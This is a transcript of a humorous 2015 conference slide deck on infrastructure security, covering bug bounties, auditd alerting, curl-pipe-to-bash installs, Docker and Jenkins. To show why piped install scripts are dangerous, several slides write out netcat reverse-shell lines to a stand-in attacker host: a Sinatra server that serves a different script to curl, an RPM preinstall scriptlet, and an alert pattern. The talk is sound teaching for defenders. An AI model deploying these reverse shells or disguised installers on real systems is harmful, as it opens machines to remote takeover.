Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Infrastructure Security: How Hard Could it Be, Right?

Bea Hughes
October 08, 2015

Infrastructure Security: How Hard Could it Be, Right?

Back in the golden days, some companies had a server, the extravagant ones, maybe even two. Now days with things like commodity hardware, virtualisation and this new website called "cloud", some companies have upward of even ten servers now. What a time to be alive.

We will enjoy together:
* What modern day infrastructure security involves.
* How that is in any way different to how it was in the late 90s.
* How your ops team looks exactly like a great attacker.
* No really, is Docker any different from Solaris Zones?
* Configuration management has made this better, right?
* Github: Where private keys are shared.
* Sobbing for hope and profit!

Bea Hughes

October 08, 2015
Tweet

More Decks by Bea Hughes

Other Decks in Technology

Transcript

  1. Infrastructure Security: How Hard Could it Be, Right?
    1 — @benjammingh for PuppetConf 2015

    View Slide

  2. To save us all time!
    Important announcements.
    2 — @benjammingh for PuppetConf 2015

    View Slide

  3. Who's this clown? 2
    · Infrastructure security at Etsy.
    · Recovered operations monkey at Puppet Labs.
    · Was at that fabled PuppetCamp way back in
    2009.
    · Had 1300 accounts on his high school Linux
    system. (:
    2 https://twitter.com/skullmandible/status/411281851131523072
    3 — @benjammingh for PuppetConf 2015

    View Slide

  4. I am not Tomas Doran.
    · I don't know anything about Mesos or Perl.
    · He's taller and his hair is on the other side.
    · (he's also much smarter than me)
    4 — @benjammingh for PuppetConf 2015

    View Slide

  5. Yes, I do know Kara Sowles
    · She's the loveliest person.
    · She likes sea slugs3.
    · I'm not dying my hair blue again.
    3 https://en.wikipedia.org/wiki/Nudibranch
    5 — @benjammingh for PuppetConf 2015

    View Slide

  6. Setlist
    · Intros. (you are here).
    · Few real world problems & applications.
    · Fixes, or at least coping mechanisms.
    · Panicked summary based on time.
    · We victoriously ride our fixies to a coffee shoppe
    as one!
    6 — @benjammingh for PuppetConf 2015

    View Slide

  7. Security!
    7 — @benjammingh for PuppetConf 2015

    View Slide

  8. The problem
    security is hard.
    8 — @benjammingh for PuppetConf 2015

    View Slide

  9. From tiny seeds, do mighty acorns grow.
    · PinkiePwn's 6 tiny bugs in Chrome to full
    sandbox escape.
    · Egor Homakov's 5 small bugs in Github to full
    private access on GitHub.
    · XSS to remote code execution in under an hour.
    · Username & password stolen for HVAC system
    leads to $160+ Million Target breach.
    9 — @benjammingh for PuppetConf 2015

    View Slide

  10. Things that aren't
    security are hard too.
    10 — @benjammingh for PuppetConf 2015

    View Slide

  11. Computering is hard.
    No. 1 takeaway for security types
    is a sense of perspective.
    11 — @benjammingh for PuppetConf 2015

    View Slide

  12. Security people aren't great secure coders.
    · Snort: 10 CVEs, Wireshark: 322! CVEs
    · Security Firm Bit9 Hacked, Used to Spread
    Malware
    · Joxean Koret on Breaking Antivurius so!ware
    · Tavis from Project Zero on exploiting ESET
    · BEST! FireEye just running Apache/PHP as root
    !
    12 — @benjammingh for PuppetConf 2015

    View Slide

  13. So who do I trust?
    · No one? Always a great position for security
    people, who don't want to get paid.
    · Everyone? Do I have some emails with funny
    cats for you to click on.
    · Security vendors? If you have infinite money
    and no attackers.
    · Attackers!
    13 — @benjammingh for PuppetConf 2015

    View Slide

  14. "You're already being probed for
    security holes, do you want to
    know or not?"
    14 — @benjammingh for PuppetConf 2015

    View Slide

  15. Bug bounties 101:
    Have one!
    Bug Crowd vs. HackerOne
    15 — @benjammingh for PuppetConf 2015

    View Slide

  16. Bug bounties 102:
    Prepare a lot.
    16 — @benjammingh for PuppetConf 2015

    View Slide

  17. Bug bounties 103:
    The first few weeks will be hell.
    17 — @benjammingh for PuppetConf 2015

    View Slide

  18. Bug bounties 104:
    Be ready with bees!
    18 — @benjammingh for PuppetConf 2015

    View Slide

  19. Security on the inside
    19 — @benjammingh for PuppetConf 2015

    View Slide

  20. Armadillo security
    architecture
    20 — @benjammingh for PuppetConf 2015

    View Slide

  21. Cloud
    21 — @benjammingh for PuppetConf 2015

    View Slide

  22. Github
    22 — @benjammingh for PuppetConf 2015

    View Slide

  23. 23 — @benjammingh for PuppetConf 2015

    View Slide

  24. But this doesn't happen in
    real life, right?
    24 — @benjammingh for PuppetConf 2015

    View Slide

  25. 25 — @benjammingh for PuppetConf 2015

    View Slide

  26. Go use Gitrob
    · http://michenriksen.com/blog/gitrob-putting-
    the-open-source-in-osint/
    · https://github.com/michenriksen/gitrob
    26 — @benjammingh for PuppetConf 2015

    View Slide

  27. Auditd
    27 — @benjammingh for PuppetConf 2015

    View Slide

  28. Auditd
    Auditd is the best way to get command execution
    logged in your infrastructure.
    28 — @benjammingh for PuppetConf 2015

    View Slide

  29. Auditd
    Auditd is the worst way to get this information to
    a log file.
    type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000....
    typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl"
    type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax"
    type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
    type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
    type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
    29 — @benjammingh for PuppetConf 2015

    View Slide

  30. Mark Ellzey on Auditd.
    30 — @benjammingh for PuppetConf 2015

    View Slide

  31. WHY?
    Why are the logs multiline?
    31 — @benjammingh for PuppetConf 2015

    View Slide

  32. Multiline logs are the
    spawn of The Devil
    Oracle's Java
    32 — @benjammingh for PuppetConf 2015

    View Slide

  33. Coping with multiline auditd
    · ELK: multiline filter in Logstash.
    · Other: Audisp-json
    · Have cash, want a decent GUI (and more): Go
    use Threatstack!
    · Write something yourself in python & golang: I
    keep promising to OSS this ):
    33 — @benjammingh for PuppetConf 2015

    View Slide

  34. Alert on sketchy things. (assumes ELK)
    1. Elastalert from Yelp
    2. Alert on "/bin/nc *-e /bin/sh*"
    3. You will now find when someone tries to run a
    reverse shell!
    4. Or when yours ops people do fun things.
    34 — @benjammingh for PuppetConf 2015

    View Slide

  35. curl | bash
    35 — @benjammingh for PuppetConf 2015

    View Slide

  36. AHEM, "on brand slide"
    exec{ "curl root.legit.pw | bash":
    creates => '/tmp/backdoorshell',
    user => 'root',
    wrongthing => 'for_the_tshirt',
    }
    Puppet™ is best!
    36 — @benjammingh for PuppetConf 2015

    View Slide

  37. curl legit.pw | sh
    37 — @benjammingh for PuppetConf 2015

    View Slide

  38. "But I check them, obviously!"
    38 — @benjammingh for PuppetConf 2015

    View Slide

  39. Sinatra example
    get '/install.sh' do
    if request.env['HTTP_USER_AGENT'] =~ /curl/
    return 'nc -e /bin/sh root.legit.pw 2222 &'
    else
    return print_install_code()
    end
    end
    39 — @benjammingh for PuppetConf 2015

    View Slide

  40. Sinatra example 2: Payback
    get '/install.sh' do
    ip = request.env['HTTP_CLIENT_IP']
    if seen_before.include? ip
    return print_install_code()
    else
    seen_before << ip
    return 'nc -e /bin/sh root.legit.pw 2222 &'
    end
    end
    40 — @benjammingh for PuppetConf 2015

    View Slide

  41. 41 — @benjammingh for PuppetConf 2015

    View Slide

  42. curl | bash
    "But this is no worse than packages."
    foo$ sudo yum install sketchy
    foo$ sudo aptitude install sketchy
    42 — @benjammingh for PuppetConf 2015

    View Slide

  43. curl | bash
    "but worse than downloading RPMs from a
    random site?"
    foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm
    foo$ dpkg-sig --verify sketchy.1.33-7.deb
    43 — @benjammingh for PuppetConf 2015

    View Slide

  44. curl | bash
    root# rpm -qp --scripts sketchy-1.33-7.rpm
    preinstall scriptlet (using /bin/sh):
    bash -c 'while : ; \
    do \
    nc -e /bin/sh root.legit.pw 2222 ;\
    done'
    44 — @benjammingh for PuppetConf 2015

    View Slide

  45. Verifiable
    This doesn't exist:
    foo$ curl legit.pw/sketch.sh | sudo sh --gpg-verify
    No one has ever done this:
    foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh
    45 — @benjammingh for PuppetConf 2015

    View Slide

  46. curl | bash
    "But I trust HTTPS"
    · HTTPS certs cost ~$6.
    · If I can't make $6 by owning a system, I should
    probably stop being an attacker.
    · @letsencrypt will soon make this free.
    46 — @benjammingh for PuppetConf 2015

    View Slide

  47. curl | bash
    curl -k
    47 — @benjammingh for PuppetConf 2015

    View Slide

  48. curl --yolo | \
    sudo sh --yolo
    48 — @benjammingh for PuppetConf 2015

    View Slide

  49. curl | bash
    What to do?
    49 — @benjammingh for PuppetConf 2015

    View Slide

  50. A LIVE DEMO, madness.
    50 — @benjammingh for PuppetConf 2015

    View Slide

  51. Lightweight containers!
    51 — @benjammingh for PuppetConf 2015

    View Slide

  52. chroot(8)
    52 — @benjammingh for PuppetConf 2015

    View Slide

  53. FreeBSD Jails
    53 — @benjammingh for PuppetConf 2015

    View Slide

  54. Solaris Zones
    54 — @benjammingh for PuppetConf 2015

    View Slide

  55. AIX WPAR
    55 — @benjammingh for PuppetConf 2015

    View Slide

  56. 56 — @benjammingh for PuppetConf 2015

    View Slide

  57. Is Docker secure?
    57 — @benjammingh for PuppetConf 2015

    View Slide

  58. >30% of Images in Docker
    Hub Contain High
    Priority Security Vulns
    - Jayanth Gummaraju, Tarun Desikan
    and Yoshio Turner from BanyanOps
    58 — @benjammingh for PuppetConf 2015

    View Slide

  59. 59 — @benjammingh for PuppetConf 2015

    View Slide

  60. As secure as Vagrant?
    60 — @benjammingh for PuppetConf 2015

    View Slide

  61. But is Docker itself secure?
    · Don't run things as root.
    · No really, stop running things as root.
    · Did I mention not running things as root.
    · It is also not 1999.
    (Docker 1.8 addresses some of this, with it's
    changes to who it runs as)
    61 — @benjammingh for PuppetConf 2015

    View Slide

  62. Securify the Docker.
    · Don't use --privileged.
    · Use --cap-drop all and --cap-drop
    to get the minimum capabilities.
    · Use Docker Notary
    · Use GRSecurity (just do that anyway, if you
    can.)
    · Use SELinux... I may as well ask for a pony here.
    62 — @benjammingh for PuppetConf 2015

    View Slide

  63. But is Docker secure?
    More secure than what?
    63 — @benjammingh for PuppetConf 2015

    View Slide

  64. Threat modelling for beginners
    1. what are you actually defending against?
    2. from whom?
    3. for how much?
    64 — @benjammingh for PuppetConf 2015

    View Slide

  65. Lateral movement > uid=0
    65 — @benjammingh for PuppetConf 2015

    View Slide


  66. · I am not saying Docker is ZOMG unhackable.
    · it's just cgroups and namespacing. (just)
    · Escapes will happen.
    · They have a rad security team (Hi
    @diogomonica and @nathanmccauley)
    66 — @benjammingh for PuppetConf 2015

    View Slide

  67. unpinchofsaltd
    · You can use it in a way that is secure, enough.
    · network separation & segregation still works.
    · secrets/credentials still a bigger problem.
    · PLEASE don't just adopt it because it's new &
    shiny.
    · ! " unikernels ✨ $
    67 — @benjammingh for PuppetConf 2015

    View Slide

  68. By law, you must include a container ship image
    68 — @benjammingh for PuppetConf 2015

    View Slide

  69. Jenkins!
    69 — @benjammingh for PuppetConf 2015

    View Slide

  70. One of the main delights
    with Jenkins is...
    70 — @benjammingh for PuppetConf 2015

    View Slide

  71. Jenkins!
    user{ 'hudson':
    home => '/home/hudson',
    ...
    }
    Who's this Hudson guy?
    71 — @benjammingh for PuppetConf 2015

    View Slide

  72. It's entire job is to take
    arbitrary code and run it,
    With access to some
    secret/credential data.
    72 — @benjammingh for PuppetConf 2015

    View Slide

  73. It's literally remote
    code execution as a service.
    73 — @benjammingh for PuppetConf 2015

    View Slide

  74. Cruft
    +
    all your code & (some) secrets
    74 — @benjammingh for PuppetConf 2015

    View Slide

  75. 75 — @benjammingh for PuppetConf 2015

    View Slide

  76. RCE as a service 6
    6 Hacking Jenkins Servers With No Password
    76 — @benjammingh for PuppetConf 2015

    View Slide

  77. * Disable execution on the
    master Jenkins host.
    * Disable anonymous access.
    * (Use travis)
    77 — @benjammingh for PuppetConf 2015

    View Slide

  78. But what if Jenkins could
    be harnessed for good?
    78 — @benjammingh for PuppetConf 2015

    View Slide

  79. Jenkins as a force for [security] good
    · Gauntlt "be mean to your code"
    · https://github.com/secure-pipeline
    · Fscking Adobe blog on secure so!ware, zomg!
    79 — @benjammingh for PuppetConf 2015

    View Slide

  80. 80 — @benjammingh for PuppetConf 2015

    View Slide

  81. 81 — @benjammingh for PuppetConf 2015

    View Slide

  82. Summary
    · Computers are apparently hard.
    · Security is clearly harder still, obv.
    · Actually trust and humans is hard.
    · The typing is the easy bit. (ish)
    82 — @benjammingh for PuppetConf 2015

    View Slide

  83. More Summary
    · Complex systems lead to much more complex
    security problems. (see Oauth)
    · Annual pen-tests don't scale, bug bounties can
    help.
    · Attackers are mining any public info you have
    (GitHub, S3, pastebin?)
    83 — @benjammingh for PuppetConf 2015

    View Slide

  84. Yet More summary
    · No really, go check all your S3 buckets...
    · I beg you to stop trusting curl.
    · If you put an install script online, rather than a
    package, I will find you.
    84 — @benjammingh for PuppetConf 2015

    View Slide

  85. Will there be a summary of summaries?
    · Auditd is awful, but it can be fewer awful.
    · Jenkins, you probably have to have one.
    · but that can be okay, nay, even useful for
    security.
    85 — @benjammingh for PuppetConf 2015

    View Slide

  86. A summary appeared, what happened next will
    shock you
    · Docker and security can be used in the same
    sentence.
    · Understand your threat model (Apple's guide)
    · Don't be a FireEye, stop running things as root.
    86 — @benjammingh for PuppetConf 2015

    View Slide

  87. Thank you
    · Twidder: @benjammingh
    · LinkedIn: lnkdin.me/p/benyeah
    · FidoNet: 2:254/524.13
    · JitHub: github.com/barn
    · SpeakerDeck: speakerdeck.com/barnbarn
    · Etsy: Careers <--- CodeAsCra! <--- our blog
    87 — @benjammingh for PuppetConf 2015

    View Slide